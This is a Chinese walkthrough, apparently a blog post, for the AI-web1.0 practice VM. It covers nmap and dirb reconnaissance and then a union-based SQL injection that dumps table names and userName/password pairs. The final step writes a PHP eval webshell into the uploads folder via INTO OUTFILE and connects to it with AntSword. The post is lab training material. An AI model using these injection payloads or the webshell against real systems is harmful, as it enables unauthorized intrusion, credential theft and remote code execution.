AI-web1.0 靶机攻略

先在虚拟机上安装靶机

打开kali使用nmap端口扫描功能

输入 nmap 192.168.c段.1/24,即扫描同C段下的主机,筛掉 .1 、.2 、.254,排除剩余主机,找到靶机ip

此靶机ip为192.168.192.133

物理机浏览器直接访问靶机ip

获取网站的敏感目录/文件---使用御剑

找到两个敏感文件:http://192.168.192.133/robots. txt和

http://192.168.192.133/index.html

浏览器 访问 http://192.168.192.133/robots. txt

用kali的dirb进行扫描

http://192.168.192.133/m3diNf0

浏览器访问该文件info.php,找寻网站绝对路径

/home/www/html/web1x443290o2sdf92213  绝对路径

用kali的dirb命令扫描另一个路径 : http://192.168.192.133/se3reTdir777/

浏览器访问http://192.168.192.133/se3reTdir777/index.php

该页存在参数id,和提交。判断可能存在sql注入

 输入1,点击提交 页面显示内容,正常

再输入 1' ,页面显示sql语法错误,则存在sql注入

使用BurpSuite工具获取数据库库名

打开BP拦截。输入1,点击提交,捕捉到包

将包发送到重放器,使用order by 判断字段数

uid=1' order by 3 //页面正常

uid=1' order by 4 //页面爆错

判断回显点

union select 1,2,3--+

  

获取数据库库名

union select 1,database(),3--+

  

爆破表名

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='aiweb1'--+

  

爆破字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='aiweb1' and table_name='systemUser'--+
//爆出字段 id、userName、password
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='aiweb1' and table_name='User'--+
//User表为空

  

爆字段数据
' union select 1,2,group_concat(userName,'~',password) from systemUser--+   /数据不完全显示

  

上传一句话木马

-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php'--+

  

在浏览器中访问:192.168.192.133/se3reTdir777/uploads/1.php

  

打开蚁剑---新建连接---输入上一步的访问地址

输入密码:cmd,点击测试连接,连接成功

双击打开,可看到完整目录

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值